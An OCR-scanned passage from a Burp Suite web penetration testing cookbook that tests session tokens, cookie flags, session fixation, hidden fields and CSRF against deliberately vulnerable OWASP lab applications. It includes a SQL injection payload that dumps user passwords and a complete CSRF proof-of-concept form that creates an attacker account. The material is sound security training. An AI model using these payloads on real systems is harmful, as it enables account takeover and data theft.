|24 hitp:/i192.168.56.101 GET Imutillidae/ 200 45134 HTML
<

Request | Response
_[ Raw T Headers | Hex | HTML T Render ]

HTTP/Ll.1 200 OK

Date: Tue, 04 Sep 2018 18:41:58 GHMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/S5.3.I-lubuntud. 30 with Subosin-Patch proxy html/3.0.1 mod pyth|
Phusion Passenger/4.0.38 mod perl/Z2.0.4 Perl/v5.10.1
H-Powered-Bv: PHP/5._3. Z-lubuntud. 20

lSet.-Cnokie: PHPSESSID=q7c79%gfBaqukiaTdloiuc7750; pat.h=.f|
Set-Cookie: showhints=1l

Logged-In-User:

Vary: Accept-Encoding

Content-Length: 45632

Connection: close

Content-Type: text/html

<!DOCTYFE HIML PUBLIC "-//W3C//DTD HIML 4.01 Transitionel//EN" "http://www. w3 . org/TR/1999/REC-html301-159991224/1
<html>
<head>

<link rel="shortecut icon" href="_/images/favicon. ico" type="image/x-icon" />

<link rel="stylesheet" type="text/css" href="_/styles/global-styles. css" />

<link rel="stylesheet" type="text/css" href="_/styles/ddsmoothmenu/ddsmoothmenu.css" />

<link rel="stylesheet" type="text/css" href="_ /styles/ddsmoothmenu/ddsmoothmenu-v.css" />
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5. Highlight the value of the of the PHPSESSID cookie, right-click, and select Send
to Sequencer:

Reguest I Hesponse ]

_[ Raw T Headers I Hex I HTML T Render ]

HTTP/1.1 Z00 OK

Date: Tue, 04 Sep 018 18:41:58 GMT
Server: Apache/Z.2.14 (Ubuntu) mod mono/2. 4.3 PHP/5.3. IZ-lubuntud. 30 with
Phusion Passenger/4.0.38 mod perl/Z.0.4 Perl/w5.10.1
H-Powered-By: PHP/L5.Z2.Z-lubuntud._ 20

Set-Cookie: PHPSESEID=gTe79%gflagqukia¥dloiunceTTE80: nath=/

Setc-Cookie: showhints=1 Send to Spider
Logged-In-User: .
Vary: Accept-Encoding Do an active scan
Content-Length: 45832 Do a passive scan
Connection: close Send to Intruder Ctri+l
Content-Type: text,/html

Send to Repeater Ctri+R

Send to Sequencer

Sequencer is a tool within Burp designed to determine the strength or the quality
of the randomness created within a session token.

6. After sending the value of the PHPSESSID parameter over to Sequencer, you will
see the value loaded in the Select Live Capture Request table.

7. Before pressing the Start live capture button, scroll down to the Token Location
Within Response section. In the Cookie dropdown list, select
PHPSESSID=<captured session token value>:
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12) Select Live Capture Request

Send reqguests here from other tools te configure a live capture. Select the request to use, configure the other options

| Remove | |# 4 | Host | Request
_— hitp:#192.168.56.101 GET /mutilidae/ HTTP/1.1Host: 192.168.56.101...
Clear

Start live capture

Token Location Within Response

S

Select the location in the respense where the token appears.

(= Cookie: [simwmmﬂ ﬁ
showhints=1
PHPSESSID=g7cT9cgf@agvkiardioi ...

() Custom location: Configure

8. Since we have the correct cookie value selected, we can begin the live capture
process. Click the Start live capture button, and Burp will send multiple
requests, extracting the PHPSESSID cookie out of each response. After each
capture, Sequencer performs a statistical analysis of the level of randomness in
each token.
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9. Allow the capture to gather and analyze at least 200 tokens, but feel free to let it
run longer if you like:

@ [Live capture (596 tokens) Wl

[ Pause J { Copy tokens J [J Auto analyze (next: 600) Reguests: 586

[ Stop J { Save tokens J | Analyze now J Errors: 0

Summary Character-level analysis  Bit-level analysis ~ Analysis Options

10. Once you have at least 200 samples, click the Analyze now button. Whenever
you are ready to stop the capturing process, press the Stop button and confirm
Yes:

B Burp Sequencer [live capture #1: http://192.168.56.1011
(2] Live capture (5855 tokens) F—

' Are you sure you want to stop?

[ Pause [ Copy tokens J ] Aul

J
[ Stop ] [ Save tokens J { @

Summary T Character-level analysis T Bit-level analysis | Analysis Opticns |

11. After the analysis is complete, the output of Sequencer provides an overall result.
In this case, the quality of randomness for the PHPSESSID session token is
excellent. The amount of effective entropy is estimated to be 112 bits. From a web
pentester perspective, these session tokens are very strong, so there is no
vulnerability to report here. However, though there is no vulnerability present, it
is good practice to perform such checks on session tokens:
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QJ Live capture (stopped) |

Pause Copy tokens Auto analyze Requests: 20004

Stop { Save tokens J [ Analyze now J Errors: 0

j Summary I Character-level analysis T Bit-level analysis T Analysis Options ]

Overall result

The overall quality of randomness within the sample is estimated to be: excellent.
At a significance level of 1%, the amount of effective entropy is estimated to be: 112 bits.

Effective Entropy

The chart shows the number of bits of effective entropy at each significance level, based on all tests. Each significance level defines a minimum probability of the obs|
the sample is randomly generated. When the probability of the observed results occurring falls below this level, the hypothesis that the sample is randomly generated
significance level means that strenger evidence is required to reject the hypothesis that the sample is randem, and sc increases the chance that non-random data will

=10%

1%

How it works...

To better understand the math and hypothesis behind Sequencer, consult Portswigger's
documentation on the topic here: https://portswigger.net/burp/documentation/
desktop/tools/sequencer/tests.

Testing for cookie attributes

Important user-specific information, such as session tokens, is often stored in cookies
within the client browser. Due to their importance, cookies need to be protected from
malicious attacks. This protection usually comes in the form of two flags—secure and
HttpOnly.

The secure flag informs the browser to only send the cookie to the web server if the
protocol is encrypted (for example, HTTPS, TLS). This flag protects the cookie from
eavesdropping over unencrypted channels.
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The HttpOnly flag instructs the browser to not allow access or manipulation of the cookie
via JavaScript. This flag protects the cookie from cross-site scripting attacks.

Getting ready

Check the cookies used in the OWASP Mutillidae II application, to ensure the presence of
protective flags. Since the Mutillidae application runs over an unencrypted channel (for
example, HTTP), we can only check for the presence of the HttpOnly flag. Therefore, the
secure flag is out of scope for this recipe.

How to do it...

Ensure Burp and OWASP BWA VM are running and that Burp is configured in the Firefox
browser used to view OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP Mutillidae II
application.

2. Open the Firefox Browser, to access the home page of OWASP Mutillidae II
(URL: http://<your_VM_assigned_IP_address>/mutillidae/). Make sure
you are starting a fresh session and you are not logged in to the Mutillidae
application:

&« c & |® 192.168.56.101/mutillicac/ I e O Y m e !

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

[ Mutillidae: Deliberately Vulnerable Web Pen-Testing Application |

Like Mutillidae? Check out how to help
You . )
Q Help Me! Listing of vulnerabilities
-

44
? Bug Tracker Q Bug Report Email Address
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3. Switch to the Proxy | HTTP history tab, and select the request showing your
initial browse to the Mutillidae home page. Look for the GET request and its
associated response containing Set-Cookie: assignments. Whenever you see
this assignment, you can ensure you are getting a freshly created cookie for your
session. Specifically, we are interested in the PHPSESSID cookie value.

4. Examine the end of the Set-Cookie: assignments lines. Notice the absence of
the HttpOnly flag for both lines. This means the PHPSESSID and showhints
cookie values are not protected from JavaScript manipulation. This is a security
finding that you would include in your report:

[Targel I Proxy I Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer 1 Extender I Project options T User options I Alerts ]

[ intercept | HTTP history | webSockets history | Options |

Logging of out-of-scope Proxy traffic is disabled Re-enable

| Fitter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params. | Edited | Status | Length | MIME type |

|24 http://192.168.56.101 GET Imutilidae/ 200 46134 HTML
| 4

Request | Response

_[ Raw T Headers | Hex | HTML I Render ]

HTTP/Ll.1 Z00 0K

Date: Tue, 04 Sep 2018 18:41:58 GMT

Server: Apache/Z.Z2.14 (Ubuntu) mod mono/Z.4.3 PHP/S5.3.IZ-lubuntu4. 30 with Suhosin-Patch proxy_html/3.0.1 mod_pyth
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/w5.10.1
¥-Powered-By: PHP/5.3.TC-lubuntu4.30

Set-Cookie: PHPSESSID=qT7c7ScgfBagqukiaTdloiuc7750; path=/
Set-Cookie: showhints=1

Logged-In-User:

Vary: Accept-Encoding

Content-Length: 45632

Connection: close

Content-Type: text/html

How it works...

If the two cookies had HttpOnly flags set, the flags would appear at the end of the Set-
Cookie assignment lines. When present, the flag would immediately follow a semicolon
ending the path scope of the cookie, followed by the string HttpOnly. The display is similar
for the secure flag as well:

Set-Cookie: PHPSESSID=<session token value>;path=/;Secure; HttpOnly;
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Testing for session fixation

Session tokens are assigned to users for tracking purposes. This means that when browsing
an application as unauthenticated, a user is assigned a unique session ID, which is usually
stored in a cookie. Application developers should always create a new session token after
the user logs into the website. If this session token does not change, the application could be
susceptible to a session fixation attack. It is the responsibility of web penetration testers to
determine whether this token changes values from an unauthenticated state to an
authenticated state.

Session fixation is present when application developers do not invalidate the
unauthenticated session token, allowing the user to use the same one after authentication.
This scenario allows an attacker with a stolen session token to masquerade as the user.

Getting ready

Using the OWASP Mutillidae II application and Burp's Proxy HTTP History and Comparer,
we will examine unauthenticated PHPSESSID session token value. Then, we will log in to
the application and compare the unauthenticated value against the authenticated value to
determine the presence of the session fixation vulnerability.

How to do it...

1. Navigate to the login screen (click Login/Register from the top menu), but do not
log in yet.

2. Switch to Burp's Proxy HTTP history tab, and look for the GET request showing
when you browsed to the login screen. Make a note of the value assigned to the
PHPSESSID parameter placed within a cookie:
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[ Target I Proxy IT Spider I Scanner T Intruder ‘[ Repeater T Sequencer I Decoder T Comparer T Extender I Project options T User options T Alerts ]

[ Intercept l HTTP history I WebSockets history ] Options W

‘ Filter: Hiding CSS, image and general binary content

# A Host | Method | URL |Params | Edted | Status | Length |MMEtype | Extension | Title

| 126 hitp://192.168.56.101 GET Imutilidae/findex.php?page=Ilogin.php o 200 50832 HTML php
-

Request | Response

Raw | Params | Headers | Hex

GET /mutillidae/index phplpage=login.php HITP/1.1

Host: 192 168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:E€Ll.0) Cecko/IZ01l00101 Firefox/el.0

Accept: text/html,application/xhtnltxul, application/xnl;gq=0.9, */*;q=0.8

Accept-Llanguage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: hotp://192 168 _56_101/mutillidae/index phplpage=admin. phptusername=gpassword=cuser-info-php-submit-button=Viewticcount+Details
Cookie: showhints=1;|PHPSESSID=08néptghnrnk3edvidotdtends;| acopendivids=swingset, jotto,phphh?, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

3. Right-click the PHPSESSID parameter and send the request to Comparer:

[ Target | Proxy T Spider T Scanner I Intruder T Repeater T Sequencer I Decoder I Comparer I Extender r
[ Intercept | HTTP history T WebSockets history T Options ]

Fitter: Hiding CS5, image and general binary content

# 4 Host | Method | URL | Params|

LZ‘(SL hitp:if192.168.56.101 GET Imutilidae/index.php?page=Ilogin.php v
-

_[ Reguest T Rezponse ]

_[RawT Params T Headers T Hex ]

GET /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.1g8_.%5&5.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£4; rv:5l.0) Gecko/Z0100101 Firefo
Accept: text/htwml,application/xhtml+txml, application/xml;g=0.9,*%/*;g=0_8
Accept-Lancuage: en-US,en;qg=0.5
Accept-Encoding: gzip, deflate
Beferer: http:// /182 168.56.101/mutillidae/index php?p| Sendto Spider
Cookie: showhints=1; PHPSESSID=08neptghnrnk3edwddclit
Comnection: close

Do an active scan

Tpgrade-Insecure—-Regquests: 1 Do a passive scan
Cache-Control: max-age=0 Send to Intruder Ctri=l
Send to Repeater Ctr=R

Send to Sequencer

Send to Comparer
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4. Return to the login screen (click Login/Register from the top menu), and, this
time, log in under the username ed and the password pentest.

5. After logging in, switch to Burp's Proxy HTTP history tab. Look for the POST
request showing your login (for example, the 302 HTTP status code) as well as
the immediate GET request following the POST. Note the PHPSESSID assigned
after login. Right-click and send this request to Comparer.

6. Switch to Burp's Comparer. The appropriate requests should already be
highlighted for you. Click the Words button in the bottom right-hand corner:

Comparer )
This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform.
Select tem 1:
# LLength Data || peste |
1 820 ‘GET /mutilidae/index.php?page=login.php HTTP/1. 1Host: 192.168.56.101User-Agent: Mozila/5.0 (Windows NT 10.0; Win84; x6...
2 679 POST /mutilidae/index.php?page=login.php HTTP/1.1Host: 182.168.56.101User-Agent: Mozila/S.0 (Windows NT 10.0; Win84; x. Load
Remove
Clear
elect tem 2:
% | Length Data |
1 620 GET /mutilidaefindex.php?page=login.php HTTP/1. 1Host: 192.168.56.101User-Agent: Mozila/5.0 (Windews NT 10.0; Wing4; x6.
2 679 POST /mutilidae/index.php?page=login.php HTTP/1.1Host: 182.168.56.101User-Agent: Mozila/5.0 (Windows NT 10.0; Win64; x...
A popup shows a detailed comparison of the differences between the two
requests. Note the value of PHPSESSID does not change between the
unauthenticated session (on the left) and the authenticated session (on the right).
This means the application has a session fixation vulnerability:
[ 4
Length: 620 @ Text O Hex Length: 679 @ Text O Hex
(GET /muticae/ndex php?page=login php HTTR/ 1 POST /mutidae/ndex php?page=iogn.php HTTPI1.1
User-Agent LozBaS.0 (Windows NT 10.0; WIn5; x64; v-61.0) Gecka20100101 Firefoxi61.0 User-Agent Mozila/S 0 (Windows NT 10.0; WinS4; x64; rv-61.0) Gecka20100101 Firefox/61.0
Accept textmimi spphcaton/himiexim sppicatonim =0 9 %" q=08 Accept texthtm appbeatonihimi-xm Appicatoniuml =0 9 7 4=0 8
Accept-Language. en-USeng=05 Accept-Language. en-US.eng=0.5
Accept-Encodng: gzi, defiate Accept-Encoding: gzip, deflate
Referer: Referer: hitp.//152.168 56.101/mutiidaefindex php?page=l8gil php
P92 165.56. - piip- S Content-Type: - ww-form.uriencaded
Cookie: { 3! plto phpbb2 redmne.
CoNNecion: cloas — Cookie: 9 | Jotto, phpbb2 redmine; acgroups withpersist=nada
| S i ———
Upgrade-nsecure-Requests. 1 Connection: ciose
Upgrade-nsecure-Requests. 1
-
xey Modfied Delsted ~odec J Sync views
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How it works...

In this recipe, we examined how the PHPSESSID value assigned to an unauthenticated user
remained constant even after authentication. This is a security vulnerability allowing for
the session fixation attack.

Testing for exposed session variables

Session variables such as tokens, cookies, or hidden form fields are used by application
developers to send data between the client and the server. Since these variables are exposed
on the client-side, an attacker can manipulate them in an attempt to gain access to
unauthorized data or to capture sensitive information.

Burp's Proxy option provides a feature to enhance the visibility of so-called hidden form
fields. This feature allows web application penetration testers to determine the level of the
sensitivity of data held in these variables. Likewise, a pentester can determine whether the
manipulation of these values produces a different behavior in the application.

Getting ready

Using the OWASP Mutillidae II application and Burp's Proxy's Unhide hidden form fields
feature, we'll determine whether manipulation of a hidden form field value results in
gaining access to unauthorized data.
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How to do it...

1. Switch to Burp's Proxy tab, scroll down to the Response Modification section,
and check the boxes for Unhide hidden form fields and Prominently highlight
unhidden fields:

EI |Response Modification

@I These zettings are used to perform autematic medification of responses.

] Unhide hidden form fields
[l Prominenthy highlight unhidden fields
(] Enable disabled form fields
[ Remove input field length limits
[] Remove JavaScript form validation
(] Remove all JavaScript
[J Remove <object= tags
[J Convert HTTPS links to HTTP

[| Remove secure flag from cookies

2. Navigate to the User Info page. OWASP 2013 | A1 - Injection (SQL) | SQLi -
Extract Data | User Info (SQL):

®% OWASP Mutillidae Il: Web Pwn in

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cr1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

OWASP 2013 A1 - Injection (SQL) } | SQLi - Extract Data } | User Info (SQL)
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3. Note the hidden form fields now prominently displayed on the page:

@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

( User Lookup (SQL) |

OWASP 2010

OWASP 2007 % Back Q Help Me!

Hints |

A,Ax Switch to SOAP Web Service version l Switch to XPath version
Documentation Y ‘—/

Resources

Hidden field [page] e ]

Please enter username and password
to view account details

Getting Started:
Project Whitepaper

Name
” Password

[ View Account Details ]

4. Let's try to manipulate the value shown, user-info.php, by changing it to
admin.php and see how the application reacts. Modify the user-info.php to
admin.php within the Hidden field [page] textbox:

( User Lookup (SQL)

<:§ Back e Help Me!

‘\ Hints |

’—.\

v AY
A‘Ax Switch to SOAP Web Service version I Switch to XPath version

=

Hidden field [page] famnme

[173 ]



Assessing Session Management Mechanisms Chapter 6

5. Hit the Enter key after making the change. You should now see a new page
loaded showing PHP Server Configuration information:

[ Secret PHP Server Configuration Page ]

Back Q Help Me!

PHP Version 5.3.2-1ubuntu4.30 php

System Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC
2010 i686

Build Date Apr 17 2015 15:01:49

Server API Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File letc/phpS/apache2
(php.ini) Path

Loaded /owaspbwa/owaspbwa-svn/etc/php5/apache2/php.ini
Configuration File

Scan this dir for letc/phpS/apache2/conf.d
additional .ini files

Additional .ini files | /etc/php5/apache2/conf.d/curl.ini, /etc/php5/apache2/conf.d/gd.ini, /etc/phpS/apache2

parsed {conf.d/merypt.ini, /etc/php5/apache2/conf.d/mysql.ini, /etc/phpS/apache2/conf.d
/mysqli.ini, /etc/php5/apache2/conf.d/pdo.ini, /etc/php5/apache2/conf.d/pdo_mysql.ini

PHP API 20090626

PHP Extension 20090626

Zend Extension 220090626

Zend Extension API1220090626 NTS

How it works...

As seen in this recipe, there isn't anything hidden about hidden form fields. As penetration
testers, we should examine and manipulate these values, to determine whether sensitive
information is, inadvertently, exposed or whether we can change the behavior of the
application from what is expected, based on our role and authentication status. In the case
of this recipe, we were not even logged into the application. We manipulated the hidden
form field labeled page to access a page containing fingerprinting information. Access to
such information should be protected from unauthenticated users.
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Testing for Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF) is an attack that rides on an authenticated user's
session to allow an attacker to force the user to execute unwanted actions on the attacker's
behalf. The initial lure for this attack can be a phishing email or a malicious link executing
through a cross-site scripting vulnerability found on the victim's website. CSRF exploitation
may lead to a data breach or even a full compromise of the web application.

Getting ready

Using the OWASP Mutillidae II application registration form, determine whether a CSRF
attack is possible within the same browser (a different tab) while an authenticated user is
logged into the application.

How to do it...

To level set this recipe, let's first baseline the current number of records in the account table
and perform SQL Injection to see this:

1. Navigate to the User Info page: OWASP 2013 | Al - Injection (SQL) | SQLi -
Extract Data | User Info (SQL).

2. At the username prompt, type in a SQL Injection payload to dump the entire
account table contents. The payloadis ' or 1=1--<space> (tick or 1 equals 1
dash dash space). Then press the View Account Details button.
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3. Remember to include the space after the two dashes, since this is a MySQL
database; otherwise, the payload will not work:

User Lookup (SQL)

Q Switch to XPath version

Please enter username and password
to view account details

Name ' or 1=1--

Password (

[ View Account Details ]

4. When performed correctly, a message displays that there are 24 records found in
the database for users. The data shown following the message reveals the
usernames, passwords, and signature strings of all 24 accounts. Only two
account details are shown here as a sample:

[ Results for ™ or 1=1--|".24 records |found.

Username=admin
Password=admin
Signature=g0t r00t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

We confirmed 24 records currently exist in the accounts table of the database.
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5.

6.

10.

11.

Now, return to the login screen (click Login/Register from the top menu) and
select the link Please register here.

After clicking the Please register here link, you are presented with a registration
form.

Fill out the form to create a tester account. Type in the Username as tester,
the Password as fester, and the Signature as This is a tester account:

Username [@

Password seceee Password Generator

Confirm Password |eesees

This is a tester account

Signature

After clicking the Create Account button, you should receive a green banner
confirming the account was created:

Return to the User Info page: OWASP 2013| A1 - Injection (SQL) | SQLi -
Extract Data | User Info (SQL).

Perform the SQL Injection attack again and verify that you can now see 25 rows
in the account table, instead of the previous count of 24:

| Results for "™ or 1=1-- ".25 records found.

Switch to Burp's Proxy HTTP history tab and view the POST request that created
the account for the tester.
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12. Studying this POST request shows the POST action (register.php) and the body
data required to perform the action, in this case, username, password,
confirm_password, and my_signature. Also notice there is no CSRF-token
used. CSRF-tokens are placed within web forms to protect against the very attack

we are about to perform. Let's proceed.

13. Right-click the POST request and click on Send to Repeater:

Target I Proxy ] Spider T Scanner T Intruder I Repeater I Sequencer T Decoder T Comparer I Extender T Project options T User options T Alerts 1

[ intercept | HTTP history | webSockets nistory | options |

‘ Fiter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Exten)
|70 hitp:/i192.168.56.101 I POST Jmutilidae/index php?page=register php v 200 I 49863 HTML php
-
Reguest | Response
Raw | Params | Headers | Hex
POST /mutillidae/index.php?page=register.php HTTP/1l.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4,; x€4; rv:El.0) Geckos/20100101 Firefox/El.0 R
Accept: text/html,application/xhtmltxml,application/xml;q=0.9,%/*;q=0.8 Send to Spider
Accept-Lancuage: en-US, en;q=0.5 Do an active scan
Accept-Encoding: gzip, deflate Do a passive scan
Referer: http://192.168.56.101/mutillidae/index. php?page=register. php
Send to Intruder Cirl+l

Content-Type: application/x-www-form-urlencoded

Content-Length: 147

Coolkie: showhints=1l; PHPSESSID=00néptchnrnkledvd4oldtecdl; acopendivids=swingset, jotto,phpbbhl,d
Connection: close

Upgrade-Insecure-Requests: 1

esri-token=fusername=tester&password=testericonfirm password=tester&imy_ signature=Thististattesqy

Send to Segquencer
Send to Comparer
Send to Decoder

Show response in browser

Send to Repeater Ctr+R
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14. If you're using Burp Professional, right-click select Engagement tools | Generate

CSRF PoC:

[Target I Proxy I Spider I Scanner I Intruder I Repeater | Sequencer I Decoder I Comparer T Extender T Project options T User opticns

1 = |2 =

Go Cance < |v > v

Request

J Raw T Params T Headers I Hex ]

Response

Raw

POST /mutillidae/index. php?page=register.php HTTP/1.1
Host: 192_.1&8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv
Firefox/EL.0

Accept: text/html,application/xhtmltxznl,application/xml;
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Peferer: http://132.168.56.101l/mutillidae/index.php?pags
Content-Type: application/x-www-form-urlencoded
Content-Length: 147

Cookie: showhints=1l; PHPSESSID=08néptghnrnkIedvddoldtend
acopendivids=swingset,jotto,phpbbl,rednine; acgroupswith
Comnnection: close
Upgrade-Insecure-Requests: 1

csri-token=dusername=testeripassword=testericonfirm passg
ististattestertaccountiregister-php-subnit-button=Creat &

Send to Spider

Do an active scan
Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder

Request in browser

Engagement tools
Change request method
Change body encoding
Copy URL

Ctri+l
Ctrl+R

Find references

Discover content
Schedule task
Generate CSRF PoC
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15. Upon clicking this feature, a pop-up box generates the same form used on the
registration page but without any CSRF token protection:

Reguest to: hitp://192.168.56.101 [;?J Options
—[RawT Params T Headers T Hex ]

POST /mutillidae/index. php?page=register. php HITP/1.1 R

Host: 192_1&8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€d4; x€4; rv:€l.0) Gecko/Z01l0010Ll Firefox/cl.0
Accept: text/html,application/xhtml+txml, application/xml;gq=0_9, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gsip, deflate

Beferer: http://192. 18 56.101/mutillidas/index. php?page=register.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 147

Cookie: showhints=1l; PHPIESSID=08néptghnrnkledv4dolditends;

acopendivids=swingset ,jotto,.phpbbhl, redmine; acgroupswithpersist-nada .
) < + = Typ h term 0 matches
CSRF HTML:
<html> A
<!-—- CSRF PoC - generated by Burp Suite FProfessional --> -
<hody>
<scriptrhistory.pushState('', '', 'f')</script>

<form action="http://192.168.56.101/mutillidae/index.php?page=register.php"

method="POST" >

<input type="hidden" name="csrfifds;token" walue="" />

<input type="hidden" name="username" wvalue="tester" />

<input type="hidden" name="password" walue="tester" />

<input type="hidden" name="confirm&ifS5;password" walue="tester" /=

<input type="hidden" name="my&f95;signature"
value="This&f32;isef32;a8f32;tester&ffi3l;account" />

<input type="hidden" name="register&f45;phpaf45;subnit&f45;button"
wvalue="Create&ff3Z;Account" />

<input type="submit" walue="Submit recguest" /=

<fform>
</hody>
</html>
=
v
? = - 0 matches

Regenerate [ Test in browser J [ Copy HTML j [ Close j
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16. If you are using Burp Community, you can easily recreate the CSRF PoC form by
viewing the source code of the registration page:

Register for an Account

Version of this Page

[ Please choose your username, password and signature ]

Username

Password Password Generator « 5 ¢
Confirm Password SevePagoyan
Save Page to Pocket
Signature Send Page to Device >
View Background Image
Select All
I View Page Source ]

Create Account Rleriacelinte

Inspect Element (Q)
82 Take a Screenshot

17. While viewing the page source, scroll down to the <form> tag section. For
brevity, the form is recreated next. Insert attacker as a value for the username,

password, and the signature. Copy the following HTML code and save it in a file
entitled csrf.html:

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form
action="http://192.168.56.101/mutillidae/index.php?page=register.ph
p" method="POST">
<input type="hidden" name="csrf-token" value="" />
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="password" value="attacker" />
<input type="hidden" name="confirm_ password" value="attacker"
/> <input type="hidden" name="my_signature" value="attacker
account" />
<input type="hidden" name="register-php-submit-button"
value="Create Account" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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18. Now, return to the login screen (click Login/Register from the top menu), and
log in to the application, using the username ed and the password pentest.
19. Open the location on your machine where you saved the csrf.html file. Drag

the file into the browser where ed is authenticated. After you drag the file to this
browser, csrf.html will appear as a separate tab in the same browser:

C"'“ csrf.html

20. For demonstration purposes, there is a Submit request button. However, in the
wild, a JavaScript function would automatically execute the action of creating an
account for the attacker. Click the Submit request button:

192.168.56.101/mutillidae/in X /C:/Packt/Ch6%20Assessing%20Se X

C ® ® file:///C:/Packt/Ch6 Assessi

Submit request

You should receive a confirmation that the attacker account is created:

[ Register for an Account

CQ Back Q Help Me!
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21. Switch to Burp's Proxy | HTTP history tab and find the maliciously executed
POST used to create the account for the attacker, while riding on the
authenticated session of ed's:

Target | Proxy | Spider | Scanner T Intruder I Repeater I Seguencer I Decoder T Comparer I Extender I Project options T User options | Alerts

[ ntercept | HT7P nistory | websockets history | options |

‘ Filter: Hiding CSS, image and general binary content

# A Host Method | URL | Params Edited Status Lenﬂh MIME E.Ee Extension | Title
B1T\ http://192.168.56.101 I POST ill i php 4 200 49882 HTML php I
« J

Request | Response
Raw | Params | Headers [ Hex |

POST /mutillidae/index.php?page=register.php HITP/1.1

Host: 182.1E8.56.101

Usger-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x€4; rv:6l.0) Gecko/Z0100101 Firefox/&l1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.5,6%/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 145

Cookie: showhints=1; username=ed; uid=24; PHPSESSID=0Bnéptghnrnk3edvddoldteod3; acopendivids=swingset,jotto,phpbbZ, redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Bequests: 1

csrf-token=fusername=attackeripassword=attackericonfirm_password=attackerdmy_signature=attackertaccountiregister-php-subnit-button=CreatetAccount

22. Return to the User Info page: OWASP 2013 | Al - Injection (SQL) | SQLi -
Extract Data | User Info (SQL), and perform the SQL Injection attack again. You
will now see 26 rows in the account table instead of the previous count of 25:

Results for ™ or 1=1-- .26 records found.

How it works...

CSREF attacks require an authenticated user session to surreptitiously perform actions
within the application on behalf of the attacker. In this case, an attacker rides on ed's
session to re-run the registration form, to create an account for the attacker. If ed had been
an admin, this could have allowed the account role to be elevated as well.
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Assessing Business Logic

In this chapter, we will cover the following recipes:

e Testing business logic data validation

Unrestricted file upload - bypassing weak validation

Performing process-timing attacks

Testing for the circumvention of workflows

Uploading malicious files — polyglots

Introduction

This chapter covers the basics of business logic testing, including an explanation of some
of the more common tests performed in this area. Web penetration testing involves key
assessments of business logic to determine how well the design of an application performs
integrity checks, especially within sequential application function steps, and we will be
learning how to use Burp to perform such tests.
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Software tool requirements

To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications (VM)
o OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)

Testing business logic data validation

Business logic data validation errors occur due to a lack of server-side checks, especially in
a sequence of events such as shopping cart checkouts. If design flaws, such as thread issues,
are present, those flaws may allow an attacker to modify or change their shopping cart
contents or prices, prior to purchasing them, to lower the price paid.

Getting ready

Using the OWASP WebGoat application and Burp, we will exploit a business logic design
flaw, to purchase many large ticket items for a very cheap price.

How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat application
from the initial landing page of the VM. The landing page will be configured to
an IP address specific to your machine:
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T

owaspbwa

OWASP Broken Web Applications Project

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web

applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&sort=_severity+asc.

(R
wy

1! This VM has many serious security issues. We strongly recommend that you run it only
on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

€ OWASP WebGoat D OWASP WebGoat NET
@OWASP ESAPI Java SwingSet Interactive @OWASP Mutillidae 11

€ OWASP RailsGoat

© OWASP Bricks

@()WASP Security Shepherd @Ghost
@Magical Code Injection Rainbow @hWAPP

@Damn Vulnerable Web Application

2. After you click the OWASP WebGoat link, you will be prompted for some login

credentials. Use these credentials: User Name: guest Password: guest.
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3. After authentication, click the Start WebGoat button to access the application
exercises:

owaspwepGoat va4 |l

Thank you for using WebGoat! This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing techniques.

The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

OWASP ASPECT

The Open Wb Application Sacunty Project

Application Security Experts
WebGoat Authors
Bruce Mayhew
